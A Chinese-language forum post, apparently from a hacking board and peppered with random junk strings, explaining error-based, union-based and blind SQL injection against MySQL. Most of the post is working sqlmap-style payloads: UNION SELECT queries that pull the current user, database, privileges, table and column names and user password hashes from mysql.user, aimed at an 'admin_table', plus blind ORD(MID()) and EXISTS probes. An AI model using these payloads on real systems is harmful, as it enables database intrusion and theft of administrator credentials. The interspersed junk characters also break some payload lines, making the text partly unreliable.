放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。( {, j5 e& E7 C z
( k' [3 X2 c1 N1 ~' e这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表2 N. A: S4 W6 j
& F. J3 ~4 c3 R5 g
分类标准 分类 备注& q; v8 c9 J/ y* i4 S2 d
按字段类型 整型注入,字符型注入 7 ~0 F( k% _/ J; |$ T
按出现的位置 get注入,post注入,cookie注入,http header注入 $ ~% r9 \4 d" j& c) q
然而高级注入是这样的
( O, T' y1 o, S8 X1 X1 g / S# b7 `) @' n4 G% J
高级注入分类 条件+ ]& V+ H2 x4 H2 Q
error-based sql 数据库的错误回显可以返回,存在数据库,表结构
1 m" t* X6 @0 v# C' H1 Nunion-based sql 能够使用union,存在数据库,表结构. O0 E' Q- V0 P' A/ ^- k" o
blind sql 存在注入1 Q3 Z+ Z+ Y5 ~1 @, Y
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
+ Y/ e; m1 m/ B. {6 |/ F/ g& l & p: A& j/ a- D! q" y6 g
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
: v) C: o" _, j+ H1 Q! z+ \0 D9 o # s$ i7 n9 S7 s# y& p
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。$ i' \+ |7 a# T; M1 b I4 C
% D) a6 o+ O6 d' S; ?6 j2 r
这里用mysql说明0 }5 I* I) U6 ]2 `& V% A9 h1 Z
0 }( \: L* c6 E2 Q8 Oe注入坛子里很多了,请看戳我或者再戳我
x/ G$ ^# e" m+ J* M3 u$ \ D0 x( t- k- b7 e2 K* V6 c4 I
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
4 ~9 t% h" r8 `4 x! `
& \1 b3 i# i% w- m& H! \6 ^6 R/ d获取当前数据库用户名
8 V0 b7 ]/ L E" U' y# R i) g3 m1 ^: H7 e$ t6 x
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C; M5 O; G) i) U- q6 `
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
. J4 ~* k1 ?+ HL, NULL#
" R1 _6 N8 a2 w6 k9 I- v注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。' P3 x; e' s; R1 |( `
/ o" F5 A% q( K! G3 f获取数据库名
q" h# C7 |# E# U 2 h3 b1 F4 J3 n: P
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#6 r* ^. y/ c2 }. w3 n/ b
获取所有用户名
5 u* ?; {) ]9 k1 M4 B
- F O: P# q# q& u6 V2 wUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
, p6 z& @* |% b* J/ k* F查看当前用户权限; `+ t+ v5 P4 `' j/ G) p
4 ]: k$ x1 J$ N( g5 {" g! M
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#- V0 N f6 M- |0 p' Z
尝试获取密码,当然需要有能读mysql数据库的权限. a- ^% X) O- A. V
; K. j5 S" A d) [* ?. n8 ?
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
9 c R8 n. a# _" ?# h/ w9 ?% h获取表名,limit什么的自己搞啦
3 s9 A! ^4 \4 P5 W( V & p& m' t5 G. @+ I8 h
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
4 `& h1 l' I! r( ?/ ~+ G2 ]. O获取字段名及其类型
% _1 k; [) V; S! i8 d) V' c) TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
) b5 h7 j" K0 K% v' d1 K # m `% A) Z7 s2 Z) V7 H9 t/ P
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
- _, P% b% X/ V ) r6 m5 N9 r& T) F: f& F
如:2 v2 U* I2 t9 _2 n, @. A: a0 O
获取当前用户名
2 k, V+ N4 Z' q- b3 e& C , q0 M' x; b+ g: T
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
6 O+ s4 ^ s1 y. a获取当前数据库% q# Y6 S* ?0 s4 \
4 ^: j0 D0 g- t4 |8 \% ^
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
1 G+ }% w$ ~$ z" W9 K# _获取表名* h& k" g1 L8 n; y
2 K0 r5 V6 s4 x% A
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
7 H( R/ z. e) w, F% y' ~. N. x4 \* T获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
5 z+ m- t" T- l, F: A回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
( v: y S* N" M5 }# R' x爆表
$ f( a8 N$ b# Q# g, o4 B, q) f
6 W: [" p7 S: H& B' NAND EXISTS(select * from table)
0 i/ a$ |7 _# A B2 o- w爆字段
" X& `" g# f7 W
* P! O) F T: S+ Y2 z0 Y7 LAND EXISTS(select pwd from table)
9 i: t! s @4 L! ^/ z' a6 N, i. H$ h盲注的变化就比较多了,由于篇幅,只是举个例子而已。- V2 F; e3 {- w9 V2 o9 z
9 U4 z5 M4 f' _0 L本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
1 j) L0 L' _8 C$ T/ V5 B1 ? |